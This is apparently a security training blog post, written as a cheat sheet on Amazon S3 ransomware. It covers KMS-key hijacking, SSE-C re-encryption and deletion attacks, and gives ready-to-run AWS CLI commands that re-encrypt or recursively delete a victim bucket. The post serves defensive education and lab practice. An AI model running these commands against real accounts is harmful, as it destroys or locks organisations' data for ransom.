Amazon S3 Ransomware Attacks [Cheat Sheet]

In this cheat sheet, we break down a growing threat: Amazon S3 ransomware attacks. On Thursday, we’ll be releasing a second cheat sheet that focuses on defenses and preventions. Be sure to follow me on LinkedIn so you don’t miss it.

Special thanks to Jason Kao from Fog Security for collaborating on these cheat sheets!

Cheat Sheet Download

You can download it (and feel free to share!), and we provide a breakdown below:

Amazon S3 Ransomware attacks cheat sheet with examples

What is AWS Ransomware?

AWS Ransomware is a type of attack that encrypts or deletes data, making it inaccessible to legitimate users until a ransom is paid. Unlike traditional ransomware that installs malware on victim systems, AWS ransomware often simply uses legitimate AWS API calls and services, making it difficult for conventional security tools to detect.

In this cheat sheet, we’ll focus on S3 ransomware attacks, but keep in mind these can target EC2 instances, databases, and more.

Key Characteristics:

No Malware Required: Uses legitimate AWS services and API calls instead of installing malicious software
Rapid Execution: Can encrypt or delete gigabytes of data in minutes
Detection Challenges: Standard EDR (Endpoint Detection and Response) tools are ineffective

Real-World Impact:

Since late 2023, multiple organizations have fallen victim to AWS S3 ransomware attacks, including those attributed to a group dubbed “Codefinger.” [1] These attacks leverage AWS’s own encryption capabilities against victims, and security researchers warn this approach may soon gain wider traction among threat actors.

Core S3 Ransomware Techniques

1. KMS-Based Encryption Attack

How it works: An attacker with sufficient permissions changes a bucket’s encryption settings to use a KMS key they control (often from another AWS account), then forces re-encryption of existing objects with that key. Data becomes inaccessible without the attacker-controlled key.

Example Attack Flow:

Attacker creates KMS key in their account with a policy allowing victim to encrypt but not decrypt
Attacker changes victim’s bucket encryption settings to use their KMS key
Attacker forces re-encryption of objects by copying them in place
Victim can no longer access their data without the key

Sample CLI Commands:

# Changes bucket encryption to use attacker's KMS key
aws s3api put-bucket-encryption \
  --bucket victim-bucket \
  --server-side-encryption-configuration '{
    "Rules": [
      {
        "ApplyServerSideEncryptionByDefault": {
          "SSEAlgorithm": "aws:kms",
          "KMSMasterKeyID": "arn:aws:kms:region:attacker-account:key/key-id"
        },
        
      }
    ]
  }'

# Re-encrypt existing objects
aws s3 cp s3://victim-bucket/ s3://victim-bucket/ --recursive
Code language: PHP (php)

Time to Execute: Minutes (depending on data volume)

Detection Difficulty: Medium – CloudTrail logs will show bucket encryption changes and object copy operations, however it can take 6 minutes on average to receive alerts. By that time, the attack could already be over.

For more information on detections, check out this detailed post. Also linked as resource [4] at the end of the article.

2. Customer-Provided KeyEncryption Attack (SSE-C)

How it works: An attacker uses Server-Side Encryption with Customer-Provided Keys (SSE-C) to re-encrypt objects with their own key. Since Amazon S3 doesn’t store the encryption key, the data becomes inaccessible without the attacker’s key. [2]

Attack Flow:

Attacker generates encryption key locally
Attacker copies each object in place, providing their encryption key
AWS S3 encrypts the data using the attacker’s key but doesn’t store the key
Victim can’t access data without the attacker’s key

Sample CLI Commands:

# Generate random encryption key
export encryption_key=$(openssl rand -hex 16)

# Re-encrypt all objects using that key
aws s3 cp s3://victim-bucket/ s3://victim-bucket/ \
  --recursive \
  --sse-c AES256 \
  --sse-c-key $encryption_key

Code language: PHP (php)

Time to Execute: Minutes (depending on data volume)

Detection Difficulty: Medium – CloudTrail logs show copy operations with SSE-C headers, but again, can take on average 6 minutes to receive an alert. [3]

3. Data Deletion Attack

How it works: An attacker simply deletes objects in the bucket, either directly or by manipulating lifecycle policies.

Attack Flow (Direct):

Attacker lists all objects in bucket
Attacker deletes all objects
Attacker may upload ransom note

Sample CLI Commands:

# Direct deletion
aws s3 rm s3://victim-bucket --recursive

# Indirect via lifecycle policy
aws s3api put-bucket-lifecycle-configuration \
  --bucket victim-bucket \
  --lifecycle-configuration '{
    "Rules": [
      {
        "ID": "Delete all objects",
        "Status": "Enabled",
        "Filter": { "Prefix": "" },
        "Expiration": { "Days": 1 }
      }
    ]
  }'Code language: PHP (php)

Time to Execute:

Direct: Seconds to minutes
Lifecycle: 24+ hours

Detection Difficulty: Medium

Safely deploy these attacks in Cybr’s Hands-On Lab

We’ve crafted 1-click deploy Hands-On Labs you can use to safely execute the attack techniques mentioned above in our environments and see how they work: